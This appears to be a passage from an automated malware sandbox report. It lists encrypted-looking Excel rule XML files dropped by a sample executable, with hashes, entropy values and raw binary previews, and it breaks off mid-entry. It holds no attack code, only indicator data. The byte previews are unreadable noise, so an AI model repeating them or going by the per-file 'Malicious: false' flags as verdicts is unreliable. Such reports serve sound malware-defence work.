Preview:	<?xml...:)4.w......^.o.m.[-..m....d..Q.n..K.y.}.>.dU.[...N.T+s....P'.........9,q...r.=.N...h2g.R.K.Z.Q..t82 0...uzvL.)....k.[\|..z.`.....s....rl..O.......R.?...V.....:.C...l.fU..C..d&.,.....)...<..9...... .e...i5..C..\|]7b.0..wD.P...h.x...1.....)h{....4..<..E....u...c.)..t..Z$..M......JZc.3.....f.....Z....)..?^7.jw....[.@.!.-8.b.7.#eU.*.\(.V{...u......j...\|3..,.......c..a.hQ.];&5v~.,.3.kF....k..K&......#....lY...3.$..M.X}DW....K..@.S....H...=..)d..$.......p....[.s7.w...<..2.....9.U,.>mW.......B12...z...E....m.'.' ..d..J.R....y-.h...."{m..}..9.....C.{.9......f.}.He#.......X.6..........{...,..(..B.&.T.3.:...$.J.U..+.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7294371212212685
Encrypted:	false
SSDEEP:	12:eVGJ3G51NGU/7g2SVGfn9xAmiX2F9hxCUXLNaexeceV81BhuOcii9a:kOy1cUkV+9xAfGsUXLNtfPLAObD
MD5:	FD6A7B6BC6DD90183F3C77480206B4A2
SHA1:	446140447CE15864E0B13D985907AAE18B31F9CF
SHA-256:	2DE438ED31E068F0DE5D4AB6FF6CDEA5763C175B5F214A3154DEBF7BBF7693FC
SHA-512:	8E194D548B0B35522E767422465224A214CED2300CA1BFA240135D994BABF048F3365B9A5D43BD82F9C67B458E07542A66B2BC80BD626AAD9E99E68F9A8A5787
Malicious:	false
Preview:	<?xml.8M.x.....u.5..<....El.../..$#m......>..u.x..z...:..!.Lj..S....\|.+.t...n.D..".p.q............r.&0a.>U..O...kV..zy.f.....Y.q.Y.y..H.<-@..\h[4.\.w.z71l13W....0E.X[.m_<.F.@mCO.$m_...t<R..6o.T...o.0..5...?.(.....@.o.+....<.8....\|...2....&[.6....q.........I..r7!.:8...T.uG.<..:...;.Fr.hk..r...b...?...GFPW.;i.....~?r._.H&......}^".,V3.........0...H..=..k.O.sv.b2an..m<...D...6f.Ea...m.N.-_.....>....p.4....H.....c-}.F(..=.$.<.cL"2.Q..%.EF.z..:.W......t/....^...........G....{..^..44...X......7...w.LF.$..-...3.........\.I ..a_..,.0..L.nr=K.Q...T....,....o..'.......a..YC..?q.[}I.K...gj........GCi.~...sR...7UP..*..}/.PMHd.(.UC..L.....L..Y!....kb-............q.....xX.+..4..o..d....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.542102033827038
Encrypted:	false
SSDEEP:	12:05qrPHl8/PJqKLIebnPIh0eYlLDQ84VmewEUGNbE1jxL9uOcii9a:0KHleqKsgnPIO/1+VmewSo1jxL0ObD
MD5:	67B7B13E9CEA4E486F37067C3EA67EC4
SHA1:	093D3E7C50895676F653F08DBBCCBE3A1537E5F1
SHA-256:	B7C23AB25AEBF760130E69AFAC87C91905824ECCCD442F7104ECC797BF83AE7A
SHA-512:	D642FFE99A8DFE67E3E23DE7DCECF5E83711A2F9343E903274806E7DEB8865FF51B90C4FD21C022CF397D10181F6C2E913192161D197274DF1A6F70F9079DCB4
Malicious:	false
Preview:	<?xmlb(.kP.!....\|....`...A..V3..o..`<&.)........S..GN.X.......Q-.v.A (T..9.&XG.3.6;.SW...T.R..xg...N.9..).2..Y.q7...[...p.>0l.\|...3+.r......<O..;=..:H_.F..$@.......9..{....9..(...z...............S.\|[t..S..2.f.vGjy\|.@...V......;t..(.w..X....yF.Z.<u..._._.*<...P...B4c\|<U.h\|.9.7...~m....fC.).{...=.==.I.6..DRJ..uS..f..s...y:.9i...MF...B..KHm.Rew.....'..H...)<.....K...8\|"...o./x.m].#W....e.C..}...`......uH;;Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.915098842359039
Encrypted:	false
SSDEEP:	48:i4RugeuIwZ/Dc2h3BRrtY0/g13DfwBoPUJBvegvurM1iQ8D:oPG/Yc37tzg13jooPg9W4sB
MD5:	E02F68ABE9FFC4F21C158D42BEB7F441
SHA1:	98706F600A38F12E60D500D287C2F3443E4C2846
SHA-256:	8FC2A1F409A09F7600386479227FF8C98D3DC5792F88A13AA40A524E2657DD7F
SHA-512:	229FA286409567AED1F62238F3E597B49915C4B3CBD4776377E36E61BC6FE2E72404DBB57DF9731AACF1D10F3652CB54DD19D4F13155C57504684D4130779290
Malicious:	false
Preview:	<?xmlat...;.J.].....z1T.,.U..i.OD.(.M.....W.....g.n&.....FJ......b.:L.eq..Vjs......._...6..<<.&...`.^}.'q....5=..@.K..;......y.C..(."...l..l.....2....O.m........\...}o..J#h...?@.LmKJ.X[..aqO.7I.njl5.F.0._.....h9..q..5b .5.K.9...V.......\.D9=!X......WO....n,O3.........Wl..l.[J...\n..}..M....O /.%.... ..:".4.Em.....U./Vq..`c....~8......6.....CV.!...-...V..(r.O1g.hIj...1......t...."V.2+....)E..0Lr.}..J.v..7O.^(?%..!8.0..d.....$qn.H1(.......}U....Z.m.bK..z}>.D..&r.B.U<{.G.....`.=....l./Q....R..5..!g.}2GL........1........%".z[.f......I....N....cxT."-.).1.....<..a.m`}...h..V.N)sD(~....Q..v.V....j.]...`m.0.c..3.R.9.3K....=.%z....W...W~.O>..z..-..!..z...6~.R...&.~.`.e.r..[.q.q.v..d(xR.......3......VV.5....!....WEHu...}du.$[....:.f@..Ow..z:.L.).....O.....~j..+..R... ........g^...<.+.:w.Y..}@..>g.}.^G.I.2...U...l...S.'q..L..g...K.e..Y....5].u...#<..EdI.S..X...d5:...9.q.1.^....!Xg.u...w._...E}r.Y.)1..]..@....20.'+*......5...(A[K.....".1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.85598309783791
Encrypted:	false
SSDEEP:	24:W66IfdG4ZJsTrEtv2kmpBXBHu5ODKecYBtG9+PjCw/E/wJYGBsuGeOcR6il1ObD:WtIodTYVJm/BOc+ecsq2kdoVD6XD
MD5:	C60CBCEF2CA3BEE830189FF82DAAE608
SHA1:	DE251B2072583EE3D1BE9431687B9C5EAFB60318
SHA-256:	20F1506981B492E750628E00A191B6DBE9DC12333136A1793AC328A32BDD6375
SHA-512:	44DEDD494FA643EE5C17EE8A2D5CE59CD05300BECE3B06AA3A6F6A0B0393122BE51671873BAD3C890F618725F07A5E5E6911E4DC2F4D13923B4D12493CD5DC70
Malicious:	false
Preview:	<?xml.Qg....#w.)W...~F..t.........S.j...rS5...+..._.,N..\|~....#\W..\.J...,..Wvi.-/9)7.F......C...%<......g...K.9.O.v.;4cf.P.Q.[A".7\|.......5.........zw..`Vkj.m...H...Jd!.}..w..TRG.<..?y.b.$Q..jw3..n...?(o=..7..9.......yx..r..N.Q.n\..j&.O.a.X..9.#N .U.z.i\.!..\M.......`..%."?.:..wm6...W`..ZH...r~t%..YW.l.....h&X.x..T.]_....!.0.P#.D\|.<...c.AS.Cl.W.1L...S....E...."....Mqc.3....X.{.1......".......v.o..A..@%..GM5..5.z+o.......... ....L.....u[.G.mg`........}....{....i......}$.k6l..n:y...n..qg.9......O.v....$;.1.9...^.[K\.....X\|J..e.Hb.M...=HB@J}G.-j=[.GXC\h.)je7..L.>......$.f.(..;W..6.k.YA.....R.&..b.\+.,.!.lU.h..A.._...W...b.v`.s^.m...........&..LX....!.o..%.~q.......E..^l..y.j..A.T......S..JP...}....z....L.....;..c/..:.+.;.SPy.?...EK....=l#.Q3'.....i...^;....a.4`....h2.A73.....{...$t+A."g....:.0.a.Z........'...B..PR...)c........-..d...-^.d.F....D.\.a.p[.U.Y...~...a8{......6..S..YrH.{...u._.n....;w...)....Z.N...c..gu....W^p...<.&...);..s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.68826804470647
Encrypted:	false
SSDEEP:	12:wPMm480dn9MkbHzPDHmcIrK49loKFxuuOB8qedsAh/op3sLI/GoFQVIx6qcbuOcq:IM0qn9NvDHnIeXKn+Czh/o/OjKtNObD
MD5:	7DB7A2C6B854E76783EB15247DD43814
SHA1:	8BD97A62CDEC2C655703E9BEBB26B3E41AA88A0E
SHA-256:	9A5ABDA1697647933846CE12A9C656A894A4093058ACB26F766D808090D02A98
SHA-512:	08FCDBB31F02C482B8586397786CD9B71C8AD8683F2C4533654C12D5DB93D67A818EA4AC99D2F66B70DDF84044496AEBB384838D97E15496EE363668A383BE1A
Malicious:	false
Preview:	<?xml.1IRh..h..:n....6C.t9.E.pcIwW..d..OM....@.7...4.y...g.?...........H.>K-.....?...p.$(....7c@.....nt$...N7.{.....i.FsC..ZE_.....1.8.4...y'*;..We..8.O...V.B];..o..w.(k..e.,.x1 R.....m..0X......QH.V.0.%:.8.M...}....Q.U...u._o3.E..tzv...."....#....:9."...Qn...".K....a>...plz<d#f.\|..E....U/..7...c.V..sT#...Bf.#.F.].......#X...e..i+n..t......R.m.....y....."..j..!.y.O...5...N.a!...i..@..#..6..-R....R.....Q.....<.ik/`..(.d.[.G\.\....f.M..c..,...."j.....$.2..Y=@.....1....z.MZ.eaE.h.L...e../..Vg../.3..g...1e.%..".x.....?.k..CpjH.{/.M...gBN?.2.am...FJ?..#."..o#g.....~.V....Z....m.'.u.....0.gi.{...%v..:.v..)R(;.`B6...I.w.o..E.#W...-(.i...V"...L. .9.GxM(QEt..l..J...H...l..#.,..4.P..Ub.8t...E.1..~..;....DS.tQ..BZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.679778205622922
Encrypted:	false
SSDEEP:	12:gRJSOPLFXcMsRSGNah2/MoopfUmc3gytj71aNrdbuOcii9a:4JfLFgS45yfUm6gyVJaOObD
MD5:	B22616BFAD7642015B344435A7D2C5B5
SHA1:	126C1CDCA3635E91091779CFFA27CF3E3DAE3117
SHA-256:	5D84CB0F201C758C62B2A3B157FF240F604B9E501B02612163448447685090F2
SHA-512:	699A893913EF0139713833D1E4F6E2B29FD9E6B7989178E8CA43501F4064F85C8ED3663181FD1C185DED3D8168B890DBF53999DD8CE83481D968C05AD17516B0
Malicious:	false
Preview:	<?xml....(..K.8.?.y...~.\|+.@f...d.... H^.XEoX6...o7......pj...SX.Tq.h#V.....!........3....S..v.&.U..W.z\P..o............O.Z..i..v..f.}.H....m.u.k........^;.osgb.{....P..6.z...`;.x......fD...E)\|..$...t...+...8l,x.?......>..$....;.u.sj.3..H..!z....c.A..M.m....LyV-\|".w..m.T.c:.s.=).baZ.^l..b4..n.\|4..W..I.WN....rI.N...]J?..h....UsW.&...#i./...".K....* ..'....=.<9........t\vl.....l........J........yYPF.?.....1...."....4........O....,.i"ve..Le/E.Q........x.g.7M.}.m.:H...{X...8.?#.....M.Y.U....?.1..#.yw!.d.*..z.+...S.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.7411575670900294
Encrypted:	false
SSDEEP:	12:4mdo3RNY2GjfkExgGQdkcsBcW4xWplj5EF53iBJKS7/ZHzglEHt+EK9O2nH1Hyds:9SRu2GDtxpcA4IplLBJPRElEsMDvTObD
MD5:	EEF5F3AF43CC07D63499708B3306F877
SHA1:	0248E0F66066D4BEE31AFE0AFB790CF0A410FFBB
SHA-256:	BFB3DF96071E3104BF06CEEAF917EBC57AE0ED7885FABD24CF8A5F2F924F75BB
SHA-512:	FE21E208AE7CC6EEB1938E81A28946E1D5C6D6209D22795330E5F51FA13AC819A97825D4388E9C07B2DC577971D77CFFA54EDAF4EA5F927FB68627A8969084EC
Malicious:	false
Preview:	<?xml...5...!_...hK.....-. (....n.t...S...^..I_.@}...C~....'......x".,...R.r..."^.D..p.$?K>.r.n..{.\..\Q.!...\|.c.....\|CZ..,r/.v..Yo.-.........>.....u.m,Df.wLVO$..Q..Z>...#X..5..xk.4...l...B./.-b....*.o.....9...W.....2.qh..zpsT..L.]F d8..J..;x#B......3.-b+E.=...81....S...._G...,.P..38./....S..u....c...4..&C)...{........L.o....#....!{!...n:..n-....GVy..S....}H!2..^..N.6.w.1e..$.B..W..bwE...r.$.OY........l5.u.\|.5..KU'..,H.y.&N.c.H...&..hb].@......=....y..~7.......[(w_=hG..J..e..{..1k.2.$.. .[..tl.(.R.....d..t.Eb4.>....0..'X.<?.R`.g.xMNK...K%..w5./.n..".0..8r...LI.C.r.\~w3...h.&..B..t......./...y.6?....g....ze..l.L....f7l..Q...T.8.Z.!0E..Q.pI"......)....t$....w....\l.r....`p...K!.U....bS>..[R....RX.W..t..v^...q.....,/HWRU.Z:..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.97020719415216
Encrypted:	false
SSDEEP:	192:wHPzUOCuHz1E3J69tgLQ4A44B/0CTBBD+FWk8:KImz1GsLIVp4H+G
MD5:	F65ECDF9CAFD9CBD874DEB340F0E3C1E
SHA1:	950230A2C38A462C001D6204F18BDA6572A66205
SHA-256:	EA19CA5B581A9C33E94119BA875B12CA86A7EBCDA1308E8589F016EF140D726C
SHA-512:	35C3756C5AFF06CB4B521A68097E6376993303F0B37220BBF4926D743DE69337D351048E2525AF842A9031AFFD599F4679EFC1F25ECE64F08840302BEF73CF45
Malicious:	false
Preview:	<?xml.n..7.Z1...=.,..."F..KA.XDa..X.....)....X.=w.kv.....[..-2."R/...(...q.....:....l$%....W.c...3.Y.}........d..../{...J.G.=.jV9..Bi.j.....D.. .&..Z-28/q.....@.?..^h.....9.a............K.Xpy!..53....R....`..2.9.R.V2.......v../.h@......k.E.N.^Z.w.\|s..L..b....P5..E..W.kR....t.S.......g...XIc._.....,...g...'.6.2.s..\KuT.Z..2....Y..x1~....N...._M....`..8w...........i.g..}6.p.O.3...2"D.=.n.m.s..;.%.[H....Eh..?.k..3.1H,......h...\|<.....X.....Qp...V.o.d0.'^.....NEpY7..<...$cn}.K.......:...k.q..9'\|....qn.Y...4.{.....'J"....{g...f..2.J.1....0L..0..W..l.o\|.c.......$7...I+.8.Zm..\|..'....!.......g;[SNe.pA.K..>...+....Tv.q...X....K.......AmD......W.%7..K'...a..B..<...:9.........U.J.t.,..4...].k...f3b. ..>g..&64....v7.cH......Ci.]..v.Bl6....5.y\x...*"........;o..D..PX."W.z.......?....Yq\|^.4I.....v...3.IK=.4.....N..,...A.vR .%L..7. .g\.DA.U.JN\|.eL...@.b...4?E ..C.)..~..f`.x...-V.;r..n..Bl..t.....>.p...znO..M7.6$..2.R!....[...T)....[j.\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.794644382538115
Encrypted:	false
SSDEEP:	24:NxcIZ6IFt9CM5hA1yV6cxGuimIcfmd5ZcPd8b5KrlmKObD:N964R5l6cxXhIcQ5CPdi58mtD
MD5:	9F205F4B18B08221EE43BC333F9325F4
SHA1:	302C49FD8C1843EA1CB5B39E0C0960968F6B24ED
SHA-256:	50AB7F6EBD8522C530D7C3981716CADAE04A75DF02721382FC1B699DAB5AFBB5
SHA-512:	2A57B82DCD8744B546FDBD112D750E0CE341C1B09353151D5FFCFCFB1DF8289F968D1397DA63D110A46C13D26AE39D2F37676FDB0802496AE84D524236EF8A54
Malicious:	false
Preview:	<?xml.1s...>."..X...(.e.3^.9<$......,..{$53.@.:..x...j.44m....5...(.px.....R.p..a..H..(7r+...A..{..2s.X.....Z..TqO.....%...3c.f .:....2..\|LY...o.....7. n..Z<.k.@35..,1.......5x.?.........k....@.;.]JL..i......G.`.P..8...`......\..N.K!...*..:t..}.2..84.}...oDf........M...!t..I.]7.t.3....{.~9.&.,.~.w.X.w....... ..HI.<.o6Ia...Xy..9....O[.r..>Cv..P..X..n.K.JSZF]B..@......G..[.,.A...'..J9'...L....m...!.k..h,.....WmO2WB.^.#..D.".......&....G...h.eE...b?..w+8$..'....../..~..}..jo..}d..-n.ME..`...{L ....HV.".N3NM.3...o.8.F..i......4...?2..f.].......g[....j..........h"....Z./]T'.....a3..Gl.u..@..w.b...P(...~YH.0.._......8L. .rFl..G.\.Q...}..I........X.(........w...JU....?....5...l.7....2b..N.c..D...Rr.<C...Zq.i@...)......y....c..b..}V..H...n....`.;i...p.]l..ur.br}%V.+I.....[...4.P1.....r.>...[..."O..Y^N.4..M.D.)././.c.sqE{..5K..0.F\|.\...'J]..W+.g{......dbr+Tl....-,q=....pV52..m...:3T.'1.`T..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.795329413016414
Encrypted:	false
SSDEEP:	24:76LsUahggp2pjwsNhwOEnD2qcBthoYQ5SObD:eQZ1OCTcBthC1D
MD5:	CA81F45766DDAFE21C25D55E22B5004D
SHA1:	818D6B7FEF736A5B1D8FF809053C2E77A47A13C5
SHA-256:	C886DA8C0795BB166382A7C7D8EEEC149DE9C9D6FAD704C516BC5EF679F47EE3
SHA-512:	47C65192C373528DEBEA64FDF2E183C0F4AA289F3DD8C027B2261EA90B6791412DED1E2B3B063E30EBB9403155BE8E9107239E13AF400E17FF450283AD47E405
Malicious:	false
Preview:	<?xml.p...._YA.....PU..U.(h..!$3..g.o.;.m.JL.\|K[..C..k..N.n....\|@.w...-........#...2........<[Tl..d2.y.&Z`......5..s..O..0......~.d.x.Pw..'..F...J.C....q......g.zg.2s.D..}";.}.7.B.^:"A.....9'd h....hn/.........O.;_..g@..v.vG&..Q)..(..Ss..j............Kf....#.n>9.e..gy.9T..N.&....@.....<..qJC.9M..(.z 5.....+6.......V.1v......I.t...W1...=gM..y.a...CY....\.. .Q.o..._...[^..[.c...6%..9...[<..,..+/_...!O:x'.P....k.Zf.i<.n.........3M.>......!d.D.^......-.I.uP@j]......1..2.b&...S.D.oate..,...6..\b.(r....t.}...l[8./.%_.y...]......U.+.#....@..#S.z....}_c._t....{3U..+..Te..DK.hI....2...8N..........hw..d....T..<...[.c..5...!Cg.`VA..M..x.~%..$m..A,pJ.Y....h]$..)5..z.....I7..R...0s$'..[.cBa.3.!.M.....(..PMD........g.%G.....i......([... ,..$<=(V.V..E.4..).K..(..C.3NJ[...$....cN...@...q...D.....(....z...F...s..{.+..Vr...}.X,..........m.$..mp..%.{.8nw...Z..-e...d.e....[..,.....X....Xz..,.....q5.^@........D..{..v.;...BZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.864704481012532
Encrypted:	false
SSDEEP:	24:m1eezwsW3rOGqC8WsjBE/T8EhadGbhAfjI6Xo66Zp+PIZbfPIZUZ8mObD:dkw/7O37E/L/6bDXbPIxHSD
MD5:	417BB7BDEC2DBD26F16A838B3FA2AEBB
SHA1:	8A8AEEED6D7C2A01B50748D926E04ED63DC03C70
SHA-256:	11DB3E3A62F76ABED1AD26C87D4F9DE5C7AF8E79CBC04FDAA897C6F97FFC26E0
SHA-512:	0868EB6245CB4520D0069AB99D42EBB243C3C4EA2621F9379DD3A279BD2BD1F347FA13CC1FD91C390C484960478544D333BDC4D66BC1EEB2F3F30BA8918F5DE8
Malicious:	false
Preview:	<?xmlv... >.. :0$ky....T#.M......B.......K?U.P....r..ty=..}ha.?....[...Iy..i.er.Q.....m......h.Y..y..UzBT..u2.h&Pet]....L.....+""<P2..0..;..N&Z..r.....m.=.....=I.....8.mD..B...w.4;.9....>B.L0.6.x.??S..xvO......d..X....G..\|..Y....I.[..M..'\|.z.vO\|#.m.%....(.Uk.4.S.i.....X.3zs....=..x....a3...............Z..4....[..............T...4$)]V.e....iC..W....^.]F\|....Q.B.Q.... .L........~(.;.......U...,......N......i&.`!.G.[.~.2.I5......W...Z..+m...G.E...y...Q.B....Y~pD..)..{.h.+.R.........A.2.^.....'..A'.{@.{!.vO...j.._..G.v]..[?.].../?.....p.8.C.NacxRRS...\.~..-Z. ...3.v.Z...E.....D...,v..Fc\|..G.T..w...Z.-%#2..EN....tw..#2u..!..s.E..fS..........=..O.i.@...0.SY...0..M..3...AQ...rJ.....\|.b..J.b.t.R....'.;...[.A~..$g.h..i.,..-...D:..A&+....&.......3p....#=....1.."+..A4g.J^....B\|z.U..wji.zn=.Gm..w..-W..B.2.&......Pw*.5......jb g+.E.DE.Z.!..pb.S.z.F.7...1...N8....6b...,....8..ZX...$.~.N.%..C.a.D.6r.i.{#..?.sw..{.O...{...3..p....x...5......#.0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.792610732982181
Encrypted:	false
SSDEEP:	24:eD2yL+IRMhuOkCdnAgKbZ0wd5B2oNb6dusgCObD:e6k+JufgKd0+coNbhVlD
MD5:	6DA50308F9F1E1FB5007232734B751F4
SHA1:	83091456DEFDD6EE28F171A8C9A6C87C7FDA07F8
SHA-256:	76AD0A0154DD64CA291D583B4D6D180A44EBCDC5675E3217083D366EF2D783AD
SHA-512:	8FA3B3F24C6969FDBF7368DB5978D7C254DED4F69160986C6427478DAA75211153F9F1E59AEAD7E25F8207F983B9ED3E184DEB1CB2DDA3794101803BAAD98903
Malicious:	false
Preview:	<?xml.A~.5.......+....T..bR.N...7.~.?..]..a..=.`7K...p......(.p..o..i.+.Sx...{{.\;..v...m*..8f...xjv..x...I..j.......cQ..1n......u.?...,[..S...[.H9.....O.o...E.........#.7.(447L....M.=.>.I....x...G....\.r;..q..+......'.&.A.$.}.g..r.f...3...V4&.f...].Kd.....D.V...A..3.wSw............a...L.!?aeL.J.d...p.]...KS"#."..&.)6..U......6s$.8G/.3p.R.....v.@a.e..A...N...[cT\|.X.%3.7.B.y.G..(.\@.8....gjBJ{.....Dr.3..l.KM...........K..}......1"..0T.,F.%......'<.sa..D....k.j.Q^}..C..U...2.-..vx.d..!?\|.9..{.KBw.`}.U.U..w..E.3..R.....F...l..<X.7X2<.-.....q4#f..5yd).R..S\|..mM.!.--.B.4P.R.\.)N....6..l.....`>....J..{.c.;N...._......@~UQ....M...#}L..I.qDq.....M.}...\..-.S.....&...g.X"`X......bF.c8....h.`YVR[..8..oO..:xzA...@^{g^.zp..x`..}....T.x..Y.M.A......0.W.U..@.qg..Ec..S..=^...../a..I..RRM?..<.@..bR.H....Fd.......b...4d.e.jA.#.Ko.4t$..p$.9}..3g..O..(Bj..~8R)..K.\.3.`.)\|'..^. .a......q.g.~....d.C..$].0. .!....7... ..0p.3..K......!}.a/4.}D..ly0f...8Z6iwS

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.79512397231322
Encrypted:	false
SSDEEP:	24:y+PTn2E+HfeFQHAWZjkkN/a8sLbFDu+4rdBQFHdREGuM4cTjqb7tUnObD:1j++kAWZjkktfyY0FHb1uXcTevtUsD
MD5:	1FB907B056BFF3FAC97D14FD094382FC
SHA1:	B189AB25E0A9D2B87A1F0D562FABEAA7F239A1B3
SHA-256:	481E52C194ACDBD926CDB2CB9AA1DF997C5EC5A049B99393C47E3C6EA6CA8D16
SHA-512:	BA257382EAB55382FC708C22E7CBEC32E5B4E611A2E33983E027E4988F0BF516A36830174E8A43C491F7822919C3723FD9D6A34777E323C2E1EC1834E16CC24A
Malicious:	false
Preview:	<?xml.UM...Y..<./.1.2AJ.62H.L.........)..+....4......I..I.A.L.?.(}..S.5]t.@..,.^..u..`..SqL.lKv...P.4...j...x.....t.t,...r>&W..h..G..tE51.eX...]s......n.O...."....z.....A4'3.....".t....5..-!f..M.I.p.....+.p..C......!.e=e5..9.....Y.KW.../Ai@..G(.....U_...M..[wY.m..Su'.sC..p.XQL0@35.1.........._.Y3..........v.GL.....Y/....\|..?..x.c,>\|(z1....m.7Q~ y.....E.....I..JS...b\f........1G.Cf;s/'.1c....g&......\|1hg<....[.......\w>...o...~.4.a.9...O.....w..}P....)..S7.9.1.h....r>.Bf..A\|c#......9...f....Q.;`..9J...7z....3..Z..u.r#..-.j.v..]'.DT...Q.....<........@..F.7.?K.P..C.t..^..H...a.i..I5... .=..K..H.%0...Rc...1..+.....s^T%.f...2P.w..........fvW.....z..RC.5...I...?f....{w.....X..& ..".4.....c.K.I.m.I..`.....:.ll...W..R!.y5....C...Q...2]..A<.........j9[..B..\|,.v......)..!...c._..]q8k.d... ...&B4.Q,.6..K.....X......I.....tT..#!..#J...x.}QJ6sX1a.A...9.~N.6.e....y..a9*.../..J....0S..@...._.v>.Z:........6.$.{...<.t#.....da......J.1.9..#....^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.890697476543362
Encrypted:	false
SSDEEP:	48:anGuw7lqYLT3Kft9aptGg48lATEqMnBIXD:yGu0l/3Kf8/Aw8
MD5:	C6C4A946CB1EACACF2F024A843791614
SHA1:	0E14EE7043EDC79DA44E35E7230BB493AEF6134F
SHA-256:	BD9CEE1667C56E408264372EDC8C06D42680947CA0A2A39A2E5D7B1C09523CB2
SHA-512:	5A04015DE228CB5146BAA33BE91C723443B9CD56700E22DA68BDAB8536F6DA69817CB6E6B77391E38732F3C89E275433068D3B21378D29FA94F702D32EE11484
Malicious:	false
Preview:	<?xml.........G.....\|.f..&..=.S..d&..e...D.4.C...u...+.-.h...r'....V...L........U......v...g....4...ljU.-..6....v.-.....y..I.7n... ....x.EY...7....@....G?..\|./.TP....W..J..U..3E..5.d......fT.)2._...........Q....%^..GW.b...+.[..3r......pg......k........E..x.:..S.vJ.N.E.l...2........Q.m...c..."-.k7.Z~./[....P.C...3.E....Fe^..........z..X....{.0;....1....&C."..N.A".....\|.f6.GM..P...2..u.......o1....t"92X...k.......<'.g..vO..(.,..I.G..b..........G....8 G1...!3...2....[%....M..=}KA.o...I.^.1..L...L.].,dy....8.4w. 5..Tkp.yi&. ..9/s.I_.{......=..e.(...@FYAA........ ..3..(.q.N.........G..[{..A.d.?.._..jAxg]....T....W......6:e.j.vr.......,o.`...5.Y..}....J....m.t..P...bh.-..\.$u]..8&.\|.?.=W.N..{%d%...-2n.4.$A............\.W.x.BB.Z5C...Y.].-..g.....Y.e.*'2.X1../..+4C.DF......4.)...<..S.$6..n#...U.........=...?i..0..Z.........).z..o..X.6.!p..^ HJ..8.....BQF^.....8.E.....wu2e<.k&c.A...M.~...a.. ..l....d.r......I.%...%......SRJ.?.3.7.6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.6693598248854995
Encrypted:	false
SSDEEP:	12:NxY5oQDaN3HqiSTWFBzpa++7d8GdwiOoz+sSmuNCp5iLsMu8kMOtpNLxEuOcii9a:Nq5oj3HqihFBVa+m1wWJJuNKssv1Mmj+
MD5:	E813EAAB5F7ED45AE2B84572BB012C55
SHA1:	A27907D19400063FE952F551DD90CA9488B1FE25
